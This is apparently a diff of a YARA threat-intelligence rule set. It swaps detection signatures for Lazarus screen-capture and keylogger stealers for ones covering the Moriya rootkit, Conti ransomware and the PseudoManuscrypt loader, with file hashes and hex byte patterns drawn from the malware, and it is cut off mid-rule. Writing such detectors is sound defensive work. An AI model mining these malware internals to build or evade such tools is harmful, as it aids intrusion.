+ id = "6a78ddc0-b39f-5aec-9c54-980854173abf" + date = "2020-05-07" + modified = "2021-05-26" + reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_1.yara#L1-L27" license_url = "N/A" - logic_hash = "cfa0f8acd3c526f7f4889794f7c38547a88031bb615a03ad5c1542c61bc0eecd" - score = 50 - quality = 71 + logic_hash = "f73049f261428c8921a2c8a86fb5d242719e5dc9f30a5c58e86be1a79d84a42d" + score = 75 + quality = 75 tags = "FILE" - hash1 = "0dfcf4d5f66310de87c2e422d7804e66279fe3e3cd6a27723225aecf214e9b00" - hash2 = "ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d" - level = "Experimental" + hash1 = "3eda93de4a1e7a35c040fad914a4885d079ffc3c1362153b74e10ff9121de22b" + hash2 = "d620f9c32adc39b0632f22ec6a0503bf906fd1357f4435463fbb4b422634a536" + tlp = "White" + adversary = "Chinese APT Group" strings: - $seq1 = { 48 83 ec 58 8b 0d 9e aa 1c 00 ba 01 14 00 00 ff 15 93 9a 1c 00 48 85 c0 74 07 33 c0 e9 c1 3b 00 00 48 8b 05 58 99 1c 00 48 89 44 24 30 c7 44 24 3c 2c 01 00 00 c7 44 24 38 01 00 00 00 33 c9 ff 15 cb 99 1c 00 48 89 05 74 aa 1c 00 48 8b 05 6d aa 1c 00 48 63 48 3c 48 8b 05 62 aa 1c 00 48 03 c1 48 89 05 88 aa 1c 00 48 8d 44 24 3c 48 89 44 24 28 48 8d 05 a7 aa 1c 00 48 89 44 24 20 4c 8d 4c 24 38 45 33 c0 48 8d 15 53 aa 1c 00 48 8b 0d e4 ac 1c 00 ff 54 24 30 48 85 c0 74 05 e8 5e ff ff ff 48 8d 05 2d 3d 00 00 48 89 05 38 aa 1c 00 48 8b 05 31 aa 1c 00 } - $seq2 = { 89 54 24 10 89 4c 24 08 48 83 ec 18 8b 44 24 20 89 04 24 8b 44 24 28 89 44 24 04 8b 44 24 04 39 04 24 73 0f c7 44 24 20 04 00 00 00 8b 04 24 eb 0e eb 0c c7 44 24 20 35 00 00 00 8b 44 24 04 48 83 c4 18 } - $seq3 = { 48 8b 05 c1 ?? 1c 00 48 89 05 32 ?? 1c 00 } - $s1 = "111111111\\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}" fullword wide - $s2 = "_VERSION_INFO" fullword wide - $s3 = "VkKeyScanW" fullword ascii - $s4 = { 53 43 61 4d 69 72 } + $seq1 = { 4c 8d 05 13 10 00 00 ff 15 95 12 00 00 48 8d 15 36 10 00 00 48 8d 4d c0 ff 15 fc 12 00 00 48 8d 15 65 10 00 00 48 8d 4d d0 ff 15 eb 12 00 00 48 8d 05 cc 23 00 00 41 b9 22 00 00 00 48 89 44 24 30 4c 8d 45 c0 c6 44 24 28 00 33 d2 83 64 24 20 00 48 8b cb ff 15 f0 11 00 00 33 d2 41 8b ce 8b f8 85 c0 79 09 4c 8d 05 6e } + $seq2 = { 4c 8d 05 85 10 00 00 ff 15 27 12 00 00 48 8b 05 80 23 00 00 48 8d 55 c0 48 8d 4d d0 83 48 30 04 ff 15 be 11 00 00 e8 c5 01 00 00 33 d2 41 8b ce 85 c0 79 0c } + $seq3 = { 33 db 48 8b 74 24 30 4c 8b 7c 24 38 48 8b 7c 24 40 4c 8b 64 24 48 4d 8b ec 48 8d 4c 24 58 ff 15 b7 1c 00 00 48 8b 46 10 49 89 44 24 f8 48 8b 46 08 49 89 45 f0 41 80 65 bb 0f 8a 46 18 24 0f 41 08 45 bb 4c 8b 4e 08 } + $seq4 = { 48 83 64 24 58 00 ba 44 5c 00 00 c7 44 24 50 79 00 00 00 41 b9 76 00 00 00 c7 44 24 48 78 6f 00 00 41 b8 69 72 00 00 c7 44 24 40 72 70 00 00 c7 44 24 38 69 00 00 00 c7 44 24 30 73 6e 00 00 c7 44 24 28 5c 00 00 00 c7 44 24 20 72 65 00 00 e8 03 f6 ff ff 48 8d 55 80 48 8d 4c 24 70 ff 15 74 17 00 00 48 8d 05 2d 28 00 00 45 33 c9 48 89 44 24 38 45 33 c0 48 8b 05 eb 16 00 00 48 83 64 24 30 00 c6 44 24 28 00 41 8d 51 40 48 8b 08 48 89 4c 24 20 48 8d 4c 24 70 ff 15 d9 16 00 00 85 c0 78 31 48 8b 0d ee 27 00 00 48 8b 81 e0 00 00 00 48 89 05 d8 27 00 00 48 8d 05 19 f7 ff ff 87 81 e0 00 00 00 48 8b 0d cc 27 00 00 ff 15 c6 16 00 00 33 c0 48 8b 4d 00 48 33 cc e8 58 0b 00 00 48 81 c4 10 01 00 } + $seq5 = { 40 55 53 56 57 41 56 48 8d ac 24 40 ff ff ff 48 81 ec c0 01 00 00 48 8b 05 47 1e 00 00 48 33 c4 48 89 85 b8 00 00 00 48 83 64 24 38 00 49 8b d8 48 83 64 24 50 00 48 8b fa 48 8b f1 33 d2 41 b8 c8 00 00 00 48 8d 4c 24 60 4d 8b f1 e8 0b 06 00 00 33 c0 48 8d 4d 30 0f 57 c0 48 89 85 b0 00 00 00 33 d2 0f 11 85 90 00 00 00 44 8d 40 58 0f 11 85 a0 00 00 00 e8 e2 05 00 00 0f 10 07 48 83 64 24 20 00 48 8d 05 72 f8 ff ff 48 89 44 24 40 48 8d 54 24 28 48 8d 05 81 fd ff ff 4d 8b c6 48 8b cb 48 89 44 24 48 f3 0f 7f 44 24 28 e8 13 05 00 00 8b d8 85 c0 0f 88 da 00 00 00 0f 10 07 48 8b 0d f7 1f 00 00 48 8d 05 30 0a 00 00 45 33 c9 48 89 45 40 f3 0f 7f 45 30 45 33 c0 48 8d 55 30 0f 10 06 48 89 45 48 f3 0f 7f 45 70 e8 22 05 00 00 8b d8 85 c0 0f 88 93 00 00 00 0f 10 06 83 65 c0 00 48 8d 05 14 0a 00 00 0f 10 0d 5d 0f 00 00 83 a5 a0 00 00 00 00 48 8d 54 24 60 48 8b 0d 9a 1f 00 00 45 33 c9 f3 0f 7f 45 a0 48 89 44 24 70 45 33 c0 0f 10 07 48 89 44 24 78 48 8d 85 90 00 00 00 48 89 45 d8 48 8d 44 24 20 f3 0f 7f 45 e4 c7 45 e0 03 50 00 00 0f 10 05 ff 0e 00 00 c7 45 d0 01 00 00 00 f3 0f 7f 8d 90 00 00 00 c7 85 a8 00 00 00 00 01 00 00 f3 0f 7f 45 b0 48 89 85 b0 00 00 00 e8 91 04 00 00 8b d8 85 c0 79 08 41 8b 0e e8 35 04 00 00 8b c3 48 8b 8d b8 00 00 00 48 33 cc e8 96 02 00 00 48 81 c4 c0 01 00 00 41 5e 5f 5e 5b } + $s1 = "Moriya : NotifyFunction\n" fullword ascii + $s2 = "Moriya Filter" fullword wide + $s3 = "Moriya : DeviceControlDispatch!\n" fullword ascii + $s4 = "Moriya : Waiting...\n" fullword ascii + $s5 = "Moriya : WriteDispatch!\n" fullword ascii + $s6 = { 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e } + $s7 = { 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e } + $s8 = "Moriya start\n" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 300KB and 2 of ( $seq* ) and 3 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 6KB and ( 3 of ( $seq* ) or 6 of ( $s* ) ) } -rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Screencapture_June_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Moriya_May_2021_2 : FILE { meta: - description = "Detect ScreenCapture malware used by Lazarus APT" - author = "Arkbird_SOLG, James_inthe_box" - id = "bb0463ac-6219-5a12-b3d2-fc82800bda69" - date = "2020-06-23" - modified = "2021-07-13" - reference = "https://twitter.com/GR_CTI/status/1275164880992186371" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L3-L31" + description = "Detect Moriya rootkit used in the TunnelSnake operation" + author = "Arkbird_SOLG" + id = "25cecff1-94f9-5e8d-8758-9b891e9d7373" + date = "2020-05-26" + modified = "2021-05-27" + reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_2.yara#L1-L22" license_url = "N/A" - logic_hash = "66f8d3da0f70f6c4ed6f853ab4040d7f96c043e9e194f1720999b48910b3e756" + logic_hash = "11ef00940604c3337b1c8c00903297343cfd4e8f3899b949d58e4203ab68d3fd" score = 75 quality = 75 tags = "FILE" - hash1 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8" + hash1 = "ce21319bd21f76ab0f188a514e8ab1fe6f960c257475e45a23d11125d78df428" + tlp = "White" + adversary = "Chinese APT Group" strings: - $s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\ScreenCapture_Win32_DllRelease.pdb" fullword ascii - $s2 = "CloseHandle ScreenCaptureMutex failure! %d" fullword ascii - $s3 = "ScreenCapture_Win32_DllRelease.dll" fullword ascii - $s4 = "ScreenCaptureMutex already created! %s\n" fullword ascii - $s5 = "Capturing screen...\n" fullword ascii - $s6 = "%s\\P%02d%lu.tmp" fullword ascii - $s7 = "ScreenCaptureThread finished!" fullword ascii - $s8 = "ScreenCaptureThread started!" fullword ascii - $s9 = "ScreenCapture start time set to %llu" fullword ascii - $s10 = "ScreenCaptureMutex already created! %s\n" fullword ascii - $s11 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii - $s12 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii - $s13 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii - $s14 = "[END] ScreenCaptureThread terminated!" fullword ascii - $s15 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 } - $s16 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 } - $s17 = "Entered Windows direcotry, skipping..." fullword ascii - $s18 = "Found %d entries." fullword ascii + $seq1 = { 8b 35 c4 30 40 00 8d 45 dc 68 92 24 40 00 50 ff d6 68 cc 24 40 00 8d 45 e4 50 ff d6 68 58 42 40 00 57 57 6a 22 8d 45 dc 50 57 53 ff 15 5c 30 40 00 8b f0 85 f6 0f 88 0a ff ff ff a1 58 42 40 00 83 48 1c 04 8d 45 dc 50 8d 45 e4 50 ff 15 60 30 40 00 e8 b2 00 00 00 } + $seq2 = { 68 3c 24 40 00 50 ff 15 c4 30 40 00 8d 85 d8 fe ff ff 50 ff 15 bc 30 40 00 85 c0 74 1b 8d 8d e0 fe ff ff 51 ff d0 8b 8d e4 fe ff ff 8b 85 e8 fe ff ff 0f b7 5d f4 eb 28 53 8d 85 cc fe ff ff 50 8d 85 d4 fe ff ff 50 8d 85 d0 fe ff ff 50 ff 15 ac 30 40 00 8b 8d d0 fe ff ff 8b 85 d4 fe ff ff c1 e1 08 0f b6 c0 0b c1 0f b6 cb } + $seq3 = { 8b 75 c0 8d 45 cc 50 ff 15 94 30 40 00 8b 5d c8 8b 43 0c 8b 55 bc 89 42 20 8b 43 08 89 42 1c 80 62 03 0f 8a 43 10 24 0f 08 42 03 8b 4b 08 85 c9 74 30 80 7e 24 00 74 06 f6 43 10 20 75 17 8b 46 18 85 c0 78 0a f6 43 10 40 75 0a 85 c0 79 20 f6 43 10 80 74 1a ff 73 0c 56 ff 75 b4 ff d1 8b f8 eb 0d 80 7e 21 00 74 07 8b 46 60 80 48 03 01 68 74 6e 68 00 53 ff 15 b4 30 40 00 } + $seq4 = { 6a 79 68 78 6f 00 00 68 72 70 00 00 6a 69 68 73 6e 00 00 6a 5c 68 72 65 00 00 6a 76 68 69 72 00 00 68 44 5c 00 00 50 e8 a2 f8 ff ff 83 c4 30 8d 85 7c ff ff ff 50 8d 85 6c ff ff ff 50 ff 15 c4 30 40 00 a1 88 30 40 00 68 34 42 40 00 56 56 ff 30 8d 85 6c ff ff ff 56 56 6a 40 50 ff 15 90 30 40 00 } + $seq5 = { 55 8b ec 81 ec 28 01 00 00 a1 04 40 40 00 33 c5 89 45 fc 8b 45 08 53 8b 5d 10 56 8b 75 0c 57 89 85 e8 fe ff ff 8d 7d 88 8b 45 14 6a 07 89 85 e4 fe ff ff 33 c0 59 f3 ab 33 ff 89 b5 d8 fe ff ff 68 94 00 00 00 8d 85 f0 fe ff ff 89 bd ec fe ff ff 57 50 e8 48 03 00 00 6a 06 89 7d e0 33 c0 59 8d 7d e4 f3 ab 33 ff 8d 45 a8 6a 38 57 50 89 7d a4 e8 2a 03 00 00 89 bd dc fe ff ff 8d 45 84 89 bd e0 fe ff ff 83 c4 18 89 bd dc fe ff ff 89 bd e0 fe ff ff 8d 7d 84 a5 ff b5 e4 fe ff ff 50 a5 53 a5 a5 c7 45 98 68 1b } + $s1 = "\\Device\\MoriyaStreamWatchmen" fullword wide + $s2 = "Moriya Filter" fullword wide + $s3 = "Moriya Callout" fullword wide + $s4 = "\\DosDevices\\MoriyaStreamWatchmen" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize < 80KB and 14 of them + uint16( 0 ) == 0x5a4d and filesize > 6KB and ( 3 of ( $seq* ) or 2 of ( $s* ) ) } -rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Keylog_June_2020_1 : FILE +rule ARKBIRD_SOLG_RAN_Conti_Dec_2021_1 : FILE { meta: - description = "Detect keylog malware used by Lazarus APT" - author = "Arkbird_SOLG, James_inthe_box" - id = "dd6aae8c-76d1-514d-905e-21472eb9b9b2" - date = "2020-06-23" - modified = "2021-07-13" - reference = "https://twitter.com/GR_CTI/status/1275164880992186371" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L33-L58" + description = "Detect Conti ransomware (v3)" + author = "Arkbird_SOLG" + id = "efa65b86-95d7-55fd-b98a-7b3c747a671c" + date = "2021-12-16" + modified = "2021-12-16" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/RAN_Conti_Dec_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "9a4e17903ad2a7c80651aa8f3d57876d1621be06ba7a683135b11929b232b2fa" + logic_hash = "038ad0c7ffcabcaf85de1adadf8a386063f96d5cd0e348a3cea4ea3b7b10fe70" score = 75 quality = 75 tags = "FILE" - hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2" + hash1 = "a05c8129e607c6d0976d79f69c6a020d15767a9ef3a9c9f1570c5193a7b5b76b" + hash2 = "3125aa67fc6e09a00aad39e0eb8024b849d54de353b1a45b5297d4c5d5e87941" + hash3 = "03597628e999d791f4cc442328024235db9a929467a62ef0a00c91a76161f0e1" + tlp = "white" + adversary = "RAAS" strings: - $s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\KeyLog_Win32_DllRelease.pdb" fullword ascii - $s2 = "CloseHandle KeyLogMutex failure! %d" fullword ascii - $s3 = "KeyLog_Win32_DllRelease.dll" fullword ascii - $s4 = "Key Log Mutex already created! %s\n" fullword ascii - $s5 = "Unable to GetProcAddress of GetAsyncKeyState" fullword ascii - $s6 = "KeyLogThread finished!" fullword ascii - $s7 = "KeyLogThread started!" fullword ascii - $s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii - $s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii - $s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii - $s11 = "[END] KeyLogThread terminated!" fullword ascii - $s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 } - $s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 } - $s14 = "Entered Windows direcotry, skipping..." fullword ascii - $s15 = "Found %d entries." fullword ascii + $s1 = { 81 ec 78 0b 00 00 c6 45 c4 00 c6 45 c5 48 c6 45 c6 45 c6 45 c7 64 c6 45 c8 45 c6 45 c9 46 c6 45 ca 45 c6 45 cb 46 c6 45 cc 45 53 c6 45 cd 45 bb 7f 00 00 00 c6 45 ce 45 8a 45 c5 80 7d c4 00 56 57 8b f9 75 2c 33 f6 66 0f 1f 44 00 00 8a 44 35 c5 b9 45 00 00 00 0f b6 c0 2b c8 6b c1 1b 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 c5 46 83 fe 0a 72 dc 8d 45 c5 89 85 88 f4 ff ff c6 45 b8 00 c6 45 b9 65 c6 45 ba 32 c6 45 bb 45 c6 45 bc 32 c6 45 bd 43 c6 45 be 32 c6 45 bf 6d c6 45 c0 32 c6 45 c1 32 c6 45 c2 32 8a 45 b9 80 7d b8 00 75 29 33 f6 8a 44 35 b9 b9 32 00 00 00 0f b6 c0 2b c8 8d 04 49 c1 e0 03 99 f7 fb 8d 42 7f 99 f7 fb 88 54 35 b9 46 83 fe 0a 72 d9 8d 45 b9 89 85 8c f4 ff ff 8d 8d 34 f7 ff ff c6 85 34 f7 ff ff 00 c6 85 35 f7 ff ff 6d c6 85 36 f7 ff ff 11 c6 85 37 f7 ff ff 54 c6 85 38 f7 ff ff 11 c6 85 39 f7 ff ff 58 c6 85 3a f7 ff ff 11 c6 85 3b f7 ff ff 58 c6 85 3c f7 ff ff 11 c6 85 3d f7 ff ff 5a c6 85 3e f7 ff ff 11 c6 85 3f f7 ff ff 56 c6 85 40 f7 ff ff 11 c6 85 41 f7 ff ff 11 c6 85 42 f7 ff ff 11 8a 85 35 f7 ff ff e8 e2 a2 00 00 89 85 90 f4 ff ff c6 85 c4 f8 ff ff 00 c6 85 c5 f8 ff ff 18 c6 85 c6 f8 ff ff 0c c6 85 c7 f8 ff ff 57 c6 85 c8 f8 ff ff 0c c6 85 c9 f8 ff ff 52 c6 85 ca f8 ff ff 0c c6 85 cb f8 ff ff 52 c6 85 cc f8 ff ff 0c c6 85 cd f8 ff ff 10 c6 85 ce f8 ff ff 0c c6 85 cf f8 ff ff 52 c6 85 d0 f8 ff ff 0c c6 85 d1 f8 ff ff 0c c6 85 d2 f8 ff ff 0c 8a 85 c5 f8 ff ff 80 bd c4 f8 ff ff 00 75 2a 33 c9 66 90 8a 84 0d c5 f8 ff ff 0f b6 c0 83 e8 0c 6b c0 19 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d c5 f8 ff ff 41 83 f9 0e 72 da 8d 85 c5 f8 ff ff 89 85 94 f4 ff ff c6 85 04 f9 ff ff 00 c6 85 05 f9 ff ff 74 c6 85 06 f9 ff ff 4d c6 85 07 f9 ff ff 23 c6 85 08 f9 ff ff 4d c6 85 09 f9 ff ff 72 c6 85 0a f9 ff ff 4d c6 85 0b f9 ff ff 72 c6 85 0c f9 ff ff 4d c6 85 0d f9 ff ff 5a c6 85 0e f9 ff ff 4d c6 85 0f f9 ff ff 42 c6 85 10 f9 ff ff 4d c6 85 11 f9 ff ff 4d c6 85 12 f9 ff ff 4d 8a 85 05 f9 ff ff 80 bd 04 f9 ff ff 00 75 2c 33 c9 0f 1f 40 00 8a 84 0d 05 f9 ff ff 0f b6 c0 83 e8 4d 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 94 0d 05 f9 ff ff 41 83 f9 0e 72 da 8d 85 05 f9 ff ff 89 85 98 f4 ff ff c6 85 f4 f8 ff ff 00 c6 85 f5 f8 ff ff 46 c6 85 f6 f8 ff ff 02 c6 85 f7 f8 ff ff 2e c6 85 f8 f8 ff ff 02 c6 85 f9 f8 ff ff 3c c6 85 fa f8 ff ff 02 c6 85 fb f8 ff ff 3c c6 85 fc f8 ff ff 02 c6 85 fd f8 ff ff 43 c6 85 fe f8 ff ff 02 c6 85 } + $s2 = { c7 85 b8 f7 ff ff 00 00 00 00 8d 8d 60 f7 ff ff c6 85 60 f7 ff ff 00 c6 85 61 f7 ff ff 36 c6 85 62 f7 ff ff 7a c6 85 63 f7 ff ff 29 c6 85 64 f7 ff ff 7a c6 85 65 f7 ff ff 29 c6 85 66 f7 ff ff 7a c6 85 67 f7 ff ff 69 c6 85 68 f7 ff ff 7a c6 85 69 f7 ff ff 37 c6 85 6a f7 ff ff 7a c6 85 6b f7 ff ff 74 c6 85 6c f7 ff ff 7a c6 85 6d f7 ff ff 0f c6 85 6e f7 ff ff 7a c6 85 6f f7 ff ff 75 c6 85 70 f7 ff ff 7a c6 85 71 f7 ff ff 1d c6 85 72 f7 ff ff 7a c6 85 73 f7 ff ff 00 c6 85 74 f7 ff ff 7a c6 85 75 f7 ff ff 7a c6 85 76 f7 ff ff 7a 8a 85 61 f7 ff ff e8 e7 bb 00 00 6a 07 68 8f cf af 70 ba 19 00 00 00 8b f0 e8 04 db ff ff 83 c4 08 56 ff d0 8b 8d b4 f7 ff ff 8d b5 b8 f7 ff ff 56 ff b5 a8 f7 ff ff 8b 11 6a 00 6a 00 6a 00 6a 00 6a 00 50 51 ff 52 0c 8b f0 c7 85 8c f7 ff ff d6 00 6a 00 8b 85 8c f7 ff ff 99 f7 fb 85 d2 74 50 8b 8d 8c f7 ff ff 8b 85 b8 f7 ff ff 83 c0 02 03 c1 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 05 48 83 c8 fc 40 0f 85 50 01 00 00 66 90 ff 85 8c f7 ff } + $s3 = { 75 f5 88 8d 50 f6 ff ff c6 85 51 f6 ff ff 48 c6 85 52 f6 ff ff 20 c6 85 53 f6 ff ff 5e c6 85 54 f6 ff ff 20 c6 85 55 f6 ff ff 7d c6 85 56 f6 ff ff 20 c6 85 57 f6 ff ff 39 c6 85 58 f6 ff ff 20 c6 85 59 f6 ff ff 33 c6 85 5a f6 ff ff 20 c6 85 5b f6 ff ff 2a c6 85 5c f6 ff ff 20 c6 85 5d f6 ff ff 33 c6 85 5e f6 ff ff 20 c6 85 5f f6 ff ff 4d c6 85 60 f6 ff ff 20 c6 85 61 f6 ff ff 6e c6 85 62 f6 ff ff 20 c6 85 63 f6 ff ff 48 c6 85 64 f6 ff ff 20 c6 85 65 f6 ff ff 4d c6 85 66 f6 ff ff 20 c6 85 67 f6 ff ff 1b c6 85 68 f6 ff ff 20 c6 85 69 f6 ff ff 3a c6 85 6a f6 ff ff 20 c6 85 6b f6 ff ff 52 c6 85 6c f6 ff ff 20 c6 85 6d f6 ff ff 47 c6 85 6e f6 ff ff 20 c6 85 6f f6 ff ff 09 c6 85 70 f6 ff ff 20 c6 85 71 f6 ff ff 14 c6 85 72 f6 ff ff 20 c6 85 73 f6 ff ff 7d c6 85 74 f6 ff ff 20 c6 85 75 f6 ff ff 49 c6 85 76 f6 ff ff 20 c6 85 77 f6 ff ff 74 c6 85 78 f6 ff ff 20 c6 85 79 f6 ff ff 1f c6 85 7a f6 ff ff 20 c6 85 7b f6 ff ff 52 c6 85 7c f6 ff ff 20 c6 85 7d f6 ff ff 71 c6 85 7e f6 ff ff 20 c6 85 7f f6 ff ff 5f c6 85 80 f6 ff ff 20 c6 85 81 f6 ff ff 1f c6 85 82 f6 ff ff 20 c6 85 83 f6 ff ff 54 c6 85 84 f6 ff ff 20 c6 85 85 f6 ff ff 33 c6 85 86 f6 ff ff 20 c6 85 87 f6 ff ff 5e c6 85 88 f6 ff ff 20 c6 85 89 f6 ff ff 44 c6 85 8a f6 ff ff 20 c6 85 8b f6 ff ff 0f c6 85 8c f6 ff ff 20 c6 85 8d f6 ff ff 52 c6 85 8e f6 ff ff 20 c6 85 8f f6 ff ff 74 c6 85 90 f6 ff ff 20 c6 85 91 f6 ff ff 13 c6 85 92 f6 ff ff 20 c6 85 93 f6 ff ff 33 c6 85 94 f6 ff ff 20 c6 85 95 f6 ff ff 5e c6 85 96 f6 ff ff 20 c6 85 97 f6 ff ff 52 c6 85 98 f6 ff ff 20 c6 85 99 f6 ff ff 47 c6 85 9a f6 ff ff 20 c6 85 9b f6 ff ff 31 c6 85 9c f6 ff ff 20 c6 85 9d f6 ff ff 5b c6 85 9e f6 ff ff 20 c6 85 9f f6 ff ff 1b c6 85 a0 f6 ff ff 20 c6 85 a1 f6 ff ff 39 c6 85 a2 f6 ff ff 20 c6 85 a3 f6 ff ff 33 c6 85 a4 f6 ff ff 20 c6 85 a5 f6 ff ff 2a c6 85 a6 f6 ff ff 20 c6 85 a7 f6 ff ff 33 c6 85 a8 f6 ff ff 20 c6 85 a9 f6 ff ff 4d c6 85 aa f6 ff ff 20 c6 85 ab f6 ff ff 1f c6 } condition: - uint16( 0 ) == 0x5a4d and filesize < 80KB and 11 of them + uint16( 0 ) == 0x5A4D and filesize > 100KB and all of ( $s* ) } -rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Generic_June_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Pseudomanuscrypt_Dec_2021_1 : FILE { meta: - description = "Detect stealers used by Lazarus APT by common strings" - author = "Arkbird_SOLG, James_inthe_box" - id = "11a7c531-91a4-524e-aa5d-c11538f7db58" - date = "2020-06-23" - modified = "2021-07-13" - reference = "https://twitter.com/GR_CTI/status/1275164880992186371" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L60-L85" + description = "Detect PseudoManuscrypt loader dropped by the installer" + author = "Arkbird_SOLG" + id = "8784baa0-c52c-5ee0-9a92-9b6457df61ed" + date = "2021-12-16" + modified = "2021-12-17" + reference = "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-PseudoManuscrypt-a-mass-scale-spyware-attack-campaign-En.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/MAL_PseudoManuscrypt_Dec_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "878e4a128b7de45f4940e7adccfeb376ce46e87b35b25e162f668303e9fd7852" + logic_hash = "e304323ed26c7040c97efa8041bcd3eb2f6d0caeba76d6674fc2947d7850e830" score = 75 quality = 75 tags = "FILE" - hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2" - hash2 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8" + hash1 = "19627bcee38a4ca5ae9a60c71ee7a2e388ba99fb8b229700a964a084db236e1f" + hash2 = "be94df270acfc8e5470fa161b808d0de1c9e85efeeff4a5d82f5fd09629afa8e" + hash3 = "de965e33dff58cf011106feacef2f804d9e35d00b8b5ff7064e5b7afee46d72c" + hash4 = "e32899bef78f6af4a155f738298e042f72fe5e643ec934f8778180f71e511727" + tlp = "white" + adversary = "-" strings: - $s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease" fullword ascii - $s2 = "Mutex failure! %d" fullword ascii - $s3 = "Win32_DllRelease.dll" fullword ascii - $s4 = "Mutex already created! %s\n" fullword ascii - $s5 = "[END]" fullword ascii - $s6 = "Thread finished!" fullword ascii - $s7 = "Thread started!" fullword ascii - $s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii - $s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii - $s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii - $s11 = "Thread terminated!" fullword ascii - $s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 } - $s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 } - $s14 = "Entered Windows direcotry, skipping..." fullword ascii + $s1 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 43 72 79 70 74 6f 67 72 61 70 68 79 00 7b 47 36 35 37 59 53 30 36 2d 30 31 36 44 2d 34 43 30 52 2d 36 30 32 32 2d 46 47 45 32 43 33 32 32 36 36 37 46 7d 00 00 4d 61 63 68 69 6e 65 47 75 69 64 } + $s2 = { 45 ?? 5c 43 4c 53 c7 45 ?? 49 44 5c 25 c7 45 ?? 73 00 00 00 c7 45 ?? 47 6c 6f 62 c7 45 ?? 61 6c } + $s3 = { 56 69 72 74 c7 [2-4] 75 61 6c 41 c7 [2-4] 6c 6c 6f 63 ff 15 } + $s4 = { 4c 6f 61 64 65 72 2e 64 6c 6c 00 53 65 72 76 69 63 65 4d 61 